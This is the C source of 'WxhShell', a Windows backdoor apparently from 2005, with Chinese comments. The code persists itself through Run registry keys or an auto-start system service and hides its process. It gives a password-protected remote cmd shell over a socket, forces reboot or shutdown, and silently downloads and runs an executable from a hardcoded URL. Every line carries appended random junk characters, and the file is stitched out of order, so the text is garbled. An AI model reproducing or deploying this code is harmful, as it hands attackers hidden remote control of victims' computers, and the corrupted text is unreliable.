    if(Boot(SHUTDOWN)) qN}0$x>p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WZ@nuK.39T  
    else { ~+QfP:G  
    closesocket(wsh); '(&.[Pk:"  
    ExitThread(0); M*8Ef^-U`t  
    } 5cgDHs  
    break; h&[]B*BLr  
    } ?J6J#{LRd  
  // 获取shell ?o),F^ir  
  case 's': { W84JB3p  
    CmdShell(wsh);  yYp!s  
    closesocket(wsh); *hAq]VC})  
    ExitThread(0); vDv:3qN7(  
    break; +<|6y46  
  } cZZ-K?_  
  // 退出 b)3dZ*cOJ  
  case 'x': { ,>`wz^z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); { >bw:^F  
    CloseIt(wsh); ~H7m7  
    break; (Pbdwzao  
    } #l+U(zH:JG  
  // 离开 *Jmy:C<>  
  case 'q': { GO+cCNMa"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xuv%mjQ  
    closesocket(wsh); x =5k74  
    WSACleanup(); o[O-|XL_  
    exit(1); U<KvKg  
    break; Q(T)s  
        } t(/e~w  
  } SwV0q  
  } GTeFDm; T^  
O!\P]W4r$  
  // 提示信息 JC_Y#kN@z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uv/I`[@HK8  
} U_wn/wcLS  
  } m@u!frE,  
&Op, ?\   
  return; B<I%:SkF@  
} /![S 3Ol  
ic%<39  
// shell模块句柄 ?nn`ud?f  
int CmdShell(SOCKET sock) e>#*$4tg  
{ 7*r Q6rAP  
STARTUPINFO si; )~rf x  
ZeroMemory(&si,sizeof(si)); `kpX}cKK}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \A6MVMF8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N&]v\MjI62  
PROCESS_INFORMATION ProcessInfo; %FDi7Rx  
char cmdline[]="cmd"; -}/u?3^-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >8"oO[U5>  
  return 0; ra0:Lg'  
} &BY%<h0c  
}/nbv;)  
// 自身启动模式 AE={P*g  
int StartFromService(void) c*-8h{}  
{ -icOg6%  
typedef struct Hzcy '  
{ 5bYU(]  
  DWORD ExitStatus; GbFLu`Iu  
  DWORD PebBaseAddress; z\Rs?v"  
  DWORD AffinityMask; AjKP -[  
  DWORD BasePriority; Kfa7}f_  
  ULONG UniqueProcessId; ig4wwd@|  
  ULONG InheritedFromUniqueProcessId; 1P. W 34  
}   PROCESS_BASIC_INFORMATION; HJhPd#xCW  
|NJe4lw+?  
PROCNTQSIP NtQueryInformationProcess; nfJ|&'T  
zl F*F8>m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )G\23P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |s-q+q{|  
e^&QT  
  HANDLE             hProcess; jJk M:iR  
  PROCESS_BASIC_INFORMATION pbi; RrSSAoz1  
 _CY>45  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "u~l+aW0  
  if(NULL == hInst ) return 0; xphw0Es  
` wuA}v3!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QWH1xId  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |RDmY!9&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )z&0 g2Am  
] e!CH <N  
  if (!NtQueryInformationProcess) return 0; R $HI JM  
I<e[/#5P\`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5!$m3j_,]?  
  if(!hProcess) return 0; Sj]k5(&  
/%EKq+ZP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *vc=>AEc  
RIOR%~U  
  CloseHandle(hProcess); <h^'x7PkW5  
e48`cX\E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vCyvy^s-I  
if(hProcess==NULL) return 0; %VOn;_Q*B  
lTJ1]7)  
HMODULE hMod; GE]fBg  
char procName[255]; }ddwL  
unsigned long cbNeeded; iwWy]V m7  
!`q*{Ojx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f ZL%H0&  
v+U( #"  
  CloseHandle(hProcess); ";E Mu(IXb  
J\<7M8   
if(strstr(procName,"services")) return 1; // 以服务启动 OLJb8kO  
(mz5vzyw  
  return 0; // 注册表启动 NsJt=~  
} Y^m2ealC  
?P@fV'Jo  
// 主模块 0JQy-hpF  
int StartWxhshell(LPSTR lpCmdLine) Bzn{~&i?W:  
{ $3S6{"  
  SOCKET wsl; WLW'.  
BOOL val=TRUE; LuY`mi  
  int port=0; 0h-holUf}~  
  struct sockaddr_in door; ^ AxU  
S>O fUrt  
  if(wscfg.ws_autoins) Install(); 3dfG_a61y  
!|_b}/  
port=atoi(lpCmdLine); e`k6YO  
4v9zFJ<Z  
if(port<=0) port=wscfg.ws_port; 9;2PoW8  
: Q X~bq  
  WSADATA data; '$pT:4EuGq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J_YbeZ]  
Yh_H $uW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *F*c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 95B w;U3E  
  door.sin_family = AF_INET; #q`[(`Bx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P7QOlTQI  
  door.sin_port = htons(port); (Z5=GJM?$  
z_R^n#A~r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C-d|;R}Ww  
closesocket(wsl); LSb3w/3M  
return 1; x%d+~U;$&  
} k%E9r'Ac  
vF"<r,pg  
  if(listen(wsl,2) == INVALID_SOCKET) { ,\!4 A  
closesocket(wsl); ;tTM3W-h  
return 1; wVkms  
} 4"1OtBU3  
  Wxhshell(wsl); #m?GBr%k  
  WSACleanup(); Ol H{!  
`M/=_O3  
return 0; 6cz%>@  
1rh\X[@  
} D 7 l&L  
+*'  
// 以NT服务方式启动 pq_DYG]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4NN-'Z>a  
{ 9+@"DuYc6  
DWORD   status = 0; u{0+w\xH\  
  DWORD   specificError = 0xfffffff; b\NWDH7}  
*bRer[7y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -v?,{?$0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,Hh7' `  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5 EDHJU>  
  serviceStatus.dwWin32ExitCode     = 0; /]%,C   
  serviceStatus.dwServiceSpecificExitCode = 0; nN>D=a"&F  
  serviceStatus.dwCheckPoint       = 0; #3u3WTk+  
  serviceStatus.dwWaitHint       = 0; BF8n: }9U  
HRIf)n&~f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z"o;|T:  
  if (hServiceStatusHandle==0) return; g`)3m,\  
f^](D'L?D  
status = GetLastError(); @z"Zj 3ti  
  if (status!=NO_ERROR) wpu]{~Y  
{ 9(lIz{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y<TlvB)w  
    serviceStatus.dwCheckPoint       = 0; 1Uz'= a  
    serviceStatus.dwWaitHint       = 0; $de_>  
    serviceStatus.dwWin32ExitCode     = status; 1  6;l,@  
    serviceStatus.dwServiceSpecificExitCode = specificError; Fp4?/-]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); AbUU#C7  
    return; Le9r7O:  
  } -cyJj LL*  
V\ch0i 1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; //@_`.  
  serviceStatus.dwCheckPoint       = 0; <y'B !d#  
  serviceStatus.dwWaitHint       = 0; ,]Yjo>`tW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X +;Q=  
} +P|$T:b  
~6U@*Svk  
// 处理NT服务事件,比如:启动、停止 Uo(\1&?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D}"\nCz}y&  
{ w3Aq[1U0  
switch(fdwControl) a$#,'UB  
{ WzgzI/  
case SERVICE_CONTROL_STOP: W6'+#Fp  
  serviceStatus.dwWin32ExitCode = 0; .6!]RA5!=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  Cih}  
  serviceStatus.dwCheckPoint   = 0; %_M B-  
  serviceStatus.dwWaitHint     = 0; 8>j+xbw  
  { H(Mlf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NF0IF#;a  
  } . )Fn]x"<  
  return; mDip P  
case SERVICE_CONTROL_PAUSE: gv `jeN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X X{:$f+  
  break; yHQ.EZ~%  
case SERVICE_CONTROL_CONTINUE: L"zOa90ig  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; IK{0Y#c  
  break; *[ Wh9 ,H  
case SERVICE_CONTROL_INTERROGATE: ]gTa TY  
  break; sC ]&Qr_  
}; A42At]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %'\D _W&  
} aEXV^5;,pJ  
jR@-h"2*A  
// 标准应用程序主函数 g%j z,|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4TG|  
{ F xFK  
cWFvYF  
// 获取操作系统版本 Z> QSZ48=  
OsIsNt=GetOsVer(); !SJmu}OB]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RfN5X}&A  
z-7F,$  
  // 从命令行安装 m>:%[vm  
  if(strpbrk(lpCmdLine,"iI")) Install(); \nkqp   
Y141Twjvd  
  // 下载执行文件 5`x9+XvoN  
if(wscfg.ws_downexe) { +6gS]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ys+?+dY2  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8>pFpS  
} Z|8f7@k{|+  
/unOZVr(  
if(!OsIsNt) { BC@"WlD  
// 如果时win9x,隐藏进程并且设置为注册表启动 H:[z#f|t  
HideProc(); \SLYqJ~m  
StartWxhshell(lpCmdLine); qh.c#t  
} q<hN\kBs  
else Qs% f6rL  
  if(StartFromService()) #Q'i/|g   
  // 以服务方式启动 KOF!a  
  StartServiceCtrlDispatcher(DispatchTable); <V6#)^Or  
else WM@uxe,  
  // 普通方式启动 X]1ep  
  StartWxhshell(lpCmdLine); 6_XX[.%  
,{oP`4\Lm  
return 0; )@K|Co  
} VwC, +B  
x<ENN>mW1  
=<e#  2  
]/$tt@h  
=========================================== Ix *KL=MG  
}kOhwT8sI  
F`u{'w:Hv  
P$pl  
3ZB;-F5v  
6]rrj  
" LXXxwIBS  
D!Gm9Pa}  
#include <stdio.h> U| N`X54  
#include <string.h> <0kRky$  
#include <windows.h> /FYa{.Vlr  
#include <winsock2.h> +Nza@B d  
#include <winsvc.h> 2j"%}&  
#include <urlmon.h> Me`"@{r|#  
C*gSx3OG  
#pragma comment (lib, "Ws2_32.lib") F~DG:x~  
#pragma comment (lib, "urlmon.lib") r+lY9 l  
lN1zfM  
#define MAX_USER   100 // 最大客户端连接数 71 A{"  
#define BUF_SOCK   200 // sock buffer )Z; Y,g  
#define KEY_BUFF   255 // 输入 buffer J]~fv9~P  
3oKqj>  
#define REBOOT     0   // 重启 M,#t7~t  
#define SHUTDOWN   1   // 关机 tlcA\+%)  
NeK:[Q@je  
#define DEF_PORT   5000 // 监听端口 ? {&#l2  
h:GOcLYM@X  
#define REG_LEN     16   // 注册表键长度 .i. |wY  
#define SVC_LEN     80   // NT服务名长度 wR4P0 [  
z$<6;2  
// 从dll定义API 7"[lWC!As5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y^!40XjrD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b%_QL3 m6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N%_~cR;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +<q^[<pS  
, m\0IgZdz  
// wxhshell配置信息  $}F]pa[  
struct WSCFG { 7<tqT @c  
  int ws_port;         // 监听端口 cPN7^*  
  char ws_passstr[REG_LEN]; // 口令 lLJb3[ e.  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5m bs0GL  
  char ws_regname[REG_LEN]; // 注册表键名 zHU#Jjc_b  
  char ws_svcname[REG_LEN]; // 服务名 54;iLL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3@&H)fdp6a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vV'^HD^v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o|}%pc3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $e;!nI;z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .kYzB.3@]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %F4Q|  
lt$7 97  
}; jQr~@15J#  
jK=*~I  
// default Wxhshell configuration $Us@fJr  
struct WSCFG wscfg={DEF_PORT, eHJ7L8#  
    "xuhuanlingzhe", N1Z8I:  
    1, }?~uAU-  
    "Wxhshell", `kv$B3  
    "Wxhshell", 7E5Dz7  
            "WxhShell Service", 6P~"7k  
    "Wrsky Windows CmdShell Service", q7]WR(e  
    "Please Input Your Password: ", [.I,B tY+  
  1, ~ghz%${`  
  "http://www.wrsky.com/wxhshell.exe", '-S&i{H  
  "Wxhshell.exe" Y1'.m5E  
    }; w@ 5/mf?  
/SKr.S61e  
// 消息定义模块 rO`g~>-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @r]s9~Lx9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z+dR(9otH3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ) e2IT*7  
char *msg_ws_ext="\n\rExit."; 7, 13g)  
char *msg_ws_end="\n\rQuit."; GufP[|7b-  
char *msg_ws_boot="\n\rReboot..."; 4d 3Znpf  
char *msg_ws_poff="\n\rShutdown..."; Wi5|9  
char *msg_ws_down="\n\rSave to "; xI4I1"/  
`eWc p^|  
char *msg_ws_err="\n\rErr!"; 0xxzhlKNL  
char *msg_ws_ok="\n\rOK!"; _tReZ(Vw  
>h[!gXL^  
char ExeFile[MAX_PATH]; s4gNS eA  
int nUser = 0; \zI&n &T  
HANDLE handles[MAX_USER]; ,4Fqvg  
int OsIsNt; M96( Rg  
ye|a#a9N  
SERVICE_STATUS       serviceStatus; ^!<7#kX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; G; [A Q:Iy  
Inc:t_  
// 函数声明 Vrj1$NL%  
int Install(void); 3NN'E$"3  
int Uninstall(void); <VU4rk^=  
int DownloadFile(char *sURL, SOCKET wsh); hu|hOr8  
int Boot(int flag); p},Fwbl  
void HideProc(void); Uo}&-$B  
int GetOsVer(void); l>UUaf|O  
int Wxhshell(SOCKET wsl); <gdgcvd  
void TalkWithClient(void *cs); o$ce1LO?|N  
int CmdShell(SOCKET sock); !NYM(6!(  
int StartFromService(void); '98h<(@]  
int StartWxhshell(LPSTR lpCmdLine); M6'C3,y0  
"-n%874IT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MXF"F:-Kn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GWInN8.5  
FMd LkyK;  
// 数据结构和表定义 uT}TSwgp  
SERVICE_TABLE_ENTRY DispatchTable[] = 5g1M_8e'+  
{ 2rCY&8  
{wscfg.ws_svcname, NTServiceMain}, e4Ox`gLa*p  
{NULL, NULL} <i'u96  
}; [u9JL3  
n<:d%&^n  
// 自我安装 [Hj'nA^  
int Install(void) q Iy^N:C2'  
{ Nr24[e G>d  
  char svExeFile[MAX_PATH]; 2d2@J{  
  HKEY key; ~$4.Mf,u  
  strcpy(svExeFile,ExeFile); !wd'::C  
t\pK`DM-[  
// 如果是win9x系统,修改注册表设为自启动 gXu^"  
if(!OsIsNt) { 6"i{P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e[QxFg0E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PiQkJ[  
  RegCloseKey(key); XalJo@%-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tP`G]BCbt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A!{.|x[S44  
  RegCloseKey(key); `(,*IK a  
  return 0; *NW QmC~  
    } z,bX.*.-  
  } /> 3  
} o8'Mks  
else { 'cZMRR c <  
fJWxJSdi  
// 如果是NT以上系统,安装为系统服务 *IWFeu7y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m-ph}  
if (schSCManager!=0) ov`^o25f  
{ {?*<B=c  
  SC_HANDLE schService = CreateService i Y*o;z,~  
  ( G#w^:UL  
  schSCManager, ,\lY Px\P[  
  wscfg.ws_svcname, VU! l50   
  wscfg.ws_svcdisp, Z'Exw-ca  
  SERVICE_ALL_ACCESS, *BLe3dok(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v7;J%9=0D`  
  SERVICE_AUTO_START, 2.LJp}>  
  SERVICE_ERROR_NORMAL, S jVsF1d_  
  svExeFile, =.36y9Mfo  
  NULL, f]tv`<Q7  
  NULL, DS:>/m>)  
  NULL, ietRr!$.  
  NULL, Zc'|!pT _  
  NULL z\fW )/  
  ); e1 x^PT  
  if (schService!=0) 7/H^<%;y  
  { ic*->-!  
  CloseServiceHandle(schService); TGU:(J'^  
  CloseServiceHandle(schSCManager); :}y9$p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); TB7>s~)47E  
  strcat(svExeFile,wscfg.ws_svcname);  hv+|s(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Go>wo/Sb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f64(a\Rw!^  
  RegCloseKey(key); D \N \BD  
  return 0; 5D,.^a1 A  
    } X'fuF2owd  
  } q0,kDM66   
  CloseServiceHandle(schSCManager); Zg V~W#t  
} *cbeyB{E  
} M|\^UF2e  
,E\h!/X  
return 1; #6Jc}g< ?g  
} ]@v}y&  
+R-h ,$\=7  
// 自我卸载 !fY7"E{%%  
int Uninstall(void) Ve{n<{P  
{ V=pMq?Nr  
  HKEY key; Sw~(uH_l  
lT2 4JhJ#  
if(!OsIsNt) { /;?M?o"H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eD%H XGe  
  RegDeleteValue(key,wscfg.ws_regname); WRW WskP  
  RegCloseKey(key); HBH$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~ 9GOk;{~&  
  RegDeleteValue(key,wscfg.ws_regname); vT|`%~Be  
  RegCloseKey(key); 7R}9oK_I  
  return 0; <aJ $lseG  
  } 3jjMY  
} 0RUi\X4HI  
} ,7W:fwdR  
else { >ys[I0bo  
Ko6^iI1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9mlIbEAb  
if (schSCManager!=0) Mi+H#xx16  
{ v2Bzx/F:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T*?s@$)m4  
  if (schService!=0) `K*b?:0lp  
  { c.A Yx I"  
  if(DeleteService(schService)!=0) { -w1@!Sdd  
  CloseServiceHandle(schService); >I}9LyZt  
  CloseServiceHandle(schSCManager); #2RiLht  
  return 0; `lO(s%HC  
  } :4:N f  
  CloseServiceHandle(schService); `:e U.  
  } fH\X  
  CloseServiceHandle(schSCManager); t 42ub  
} Z&Y=`GOI  
} <[Q3rJ  
\P;rES'  
return 1; oRM)% N#  
} 6sJw@Oa J  
gn8 |/ev  
// 从指定url下载文件 L[g0&b%%-  
int DownloadFile(char *sURL, SOCKET wsh) FdzNE  
{ k|vI<:'p,  
  HRESULT hr; F(5hmr  
char seps[]= "/"; .B72C[' c  
char *token; :XG;ru%i  
char *file; b>\?yL/%+?  
char myURL[MAX_PATH]; Aw5pd7qKL  
char myFILE[MAX_PATH]; v>Lm;q(  
mO*^1  
strcpy(myURL,sURL); 6Wj^*L!  
  token=strtok(myURL,seps); t23'x0l  
  while(token!=NULL) d>0 +A)6>  
  { JIm4vS  
    file=token; fX~'Zk\u  
  token=strtok(NULL,seps); ke_ [  
  } `F t]MR  
P>i%7:OMZA  
GetCurrentDirectory(MAX_PATH,myFILE); \Q~8?p+  
strcat(myFILE, "\\"); 2I/xJ+  
strcat(myFILE, file); K+*Q@R D  
  send(wsh,myFILE,strlen(myFILE),0); A#8q2n270*  
send(wsh,"...",3,0); 1'.7_EQ4T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hR#-u1C  
  if(hr==S_OK) d}'U?6 ob  
return 0; wh6yPVVF/  
else S! Rc|6y%  
return 1; 7c|bc6?  
,`D~py,  
} Ub1hHA*)  
#:jb*d?  
// 系统电源模块 fhPkEvJ  
int Boot(int flag) U>Ld~cw  
{ IU FH:w]  
  HANDLE hToken; W%<LTWOc  
  TOKEN_PRIVILEGES tkp; E`int?C!  
{S/yL[S.  
  if(OsIsNt) { +gd4\ZG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `Z: R Ce^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f() FY<b  
    tkp.PrivilegeCount = 1; <8,o50`B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -fhN"B)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m>USD? i  
if(flag==REBOOT) { 4iA Z+l5&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,}oM-B  
  return 0; -9N@$+T  
} ]]7 mlQ  
else { )?+$x[f!*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v+p {|X-  
  return 0; ^b:( jI*l  
} rX_@Ihv'  
  } T134ZXqqz  
  else { L,y6^J!  
if(flag==REBOOT) { x{D yTtX<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Lg8nj< TF  
  return 0; SJD@&m%?[  
} 4tL<q_  
else { U*90m~)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 720P jQ  
  return 0; COH<Tj  
} " \I4u{zC  
} UOQEk22  
>WY#4  
return 1; dJ$"l|$$  
} YK|bXSA[  
%%(R@kh9  
// win9x进程隐藏模块 %$%& m1Y  
void HideProc(void) DNGvpKY@  
{ 8r3A~  
+ QQS={  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]Q[p@gLd  
  if ( hKernel != NULL ) [+O"<Ua  
  { F~A'X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SG6sw]x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !i=nSqW  
    FreeLibrary(hKernel); cuOvN"nuNj  
  } v\(2&*  
oK 6(HF'&  
return; n3J53| %v  
} ^eW}XRI  
^>"z@$|\:  
// 获取操作系统版本 N},n `Yl.  
int GetOsVer(void) K~ ;45Z2  
{ 2NB L}x  
  OSVERSIONINFO winfo; Nk {XdrY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3sd"nR?aX  
  GetVersionEx(&winfo); ZvcJK4hi  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?-1r$31p  
  return 1; Nj(" |`9"  
  else JEE{QjTh  
  return 0; `a9L%z  
} #s!'+|2n  
7RZh<A>m  
// 客户端句柄模块 {3&|tk!*  
int Wxhshell(SOCKET wsl) znJ'iV f  
{ (Vo>e =q  
  SOCKET wsh; u,3#M ~  
  struct sockaddr_in client; 4 B*0M  
  DWORD myID; aF7nvu*N  
([xo9FP;  
  while(nUser<MAX_USER) 4b:s<$TZ  
{ L\;6y*K  
  int nSize=sizeof(client); +iI&c s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gzeQ|m2]  
  if(wsh==INVALID_SOCKET) return 1; n-DVT;y  
Z}-Vf$O~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x\QY@9  
if(handles[nUser]==0) SXt{k<|  
  closesocket(wsh); .; &# )l  
else Q[#vTB$f  
  nUser++; r7Ya\0gU  
  } Q:$Zy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); , lJ  v  
X6^},C'E.:  
  return 0; ApjOj/  
} v(p mI b{  
j^`hzh3S  
// 关闭 socket +S=Rn,  
void CloseIt(SOCKET wsh) JAI)Eqqv]  
{ 6)BR+U  
closesocket(wsh); 9aJ%`i  
nUser--; /y>>JxAEb  
ExitThread(0); gkHNRAL  
} iPrLwheb  
n#=o?!_4  
// 客户端请求句柄 san,|yrMn  
void TalkWithClient(void *cs) ]%!u7z|\6  
{ &hk-1y9QS  
I<A6Z&*un  
  SOCKET wsh=(SOCKET)cs; ek N' k  
  char pwd[SVC_LEN]; pT$f8xJ  
  char cmd[KEY_BUFF]; (#;`"Yu  
char chr[1]; uB7 V?A  
int i,j; P bQk<"J1  
f0T ,ul,  
  while (nUser < MAX_USER) { c,*9K/:  
lvp8z) G  
if(wscfg.ws_passstr) { V= 1Bo~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7-BvFEM;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J "FC%\|  
  //ZeroMemory(pwd,KEY_BUFF); `g,8-  
      i=0; +\r+n~w  
  while(i<SVC_LEN) { 5xOvY  
_$>pw<  
  // 设置超时 {f{ZHi|  
  fd_set FdRead; BAO|)~1Pd  
  struct timeval TimeOut; 3 LdQ]S  
  FD_ZERO(&FdRead); |{@FMxn|q  
  FD_SET(wsh,&FdRead); F9*g=  
  TimeOut.tv_sec=8; 7L^%x3-|&  
  TimeOut.tv_usec=0; "5A&_E }3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [7 YPl9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f$'2}'.!$  
tBct  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >YUoh-]`  
  pwd=chr[0]; w4LScvBg  
  if(chr[0]==0xd || chr[0]==0xa) { ] 7 _`]7p  
  pwd=0; z(\4 M==2O  
  break; |A8/FU2{  
  } cr;g5C V  
  i++; )3h^Y=43  
    } `|Or{ih  
e]Zngt?b  
  // 如果是非法用户,关闭 socket A0%}v*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6K-5g/hL  
} W14 Vm(`N  
x}twsc`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i%6;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s#uJ ;G  
{3!E4"p  
while(1) { 1bw{q.cmD  
B&N/$= 5m  
  ZeroMemory(cmd,KEY_BUFF); I7&_Xr  
*SO{\bu  
      // 自动支持客户端 telnet标准   BYKoel  
  j=0; O 1oxZj <  
  while(j<KEY_BUFF) { ,hVvve,j}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KzQ3.)/q  
  cmd[j]=chr[0]; 7r{83_B  
  if(chr[0]==0xa || chr[0]==0xd) { TO-$B8*nq  
  cmd[j]=0; .Q)|vq^  
  break; <x\7L2#p  
  } ^V|Oxp'7_  
  j++; we#wH-  
    } )a3IQrf=  
s :`8ZBz~  
  // 下载文件 GQ_p-/p R  
  if(strstr(cmd,"http://")) { [TCP-bU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %AN/>\#p  
  if(DownloadFile(cmd,wsh)) ]qB:PtX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pZyQY+O  
  else {Q<$Uo6V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rDdzxrKg{  
  } C%~a`e|/Y  
  else { AfC>Q!-w  
VB<Jf'NU  
    switch(cmd[0]) { L^^4=ao0  
  gDIBnH  
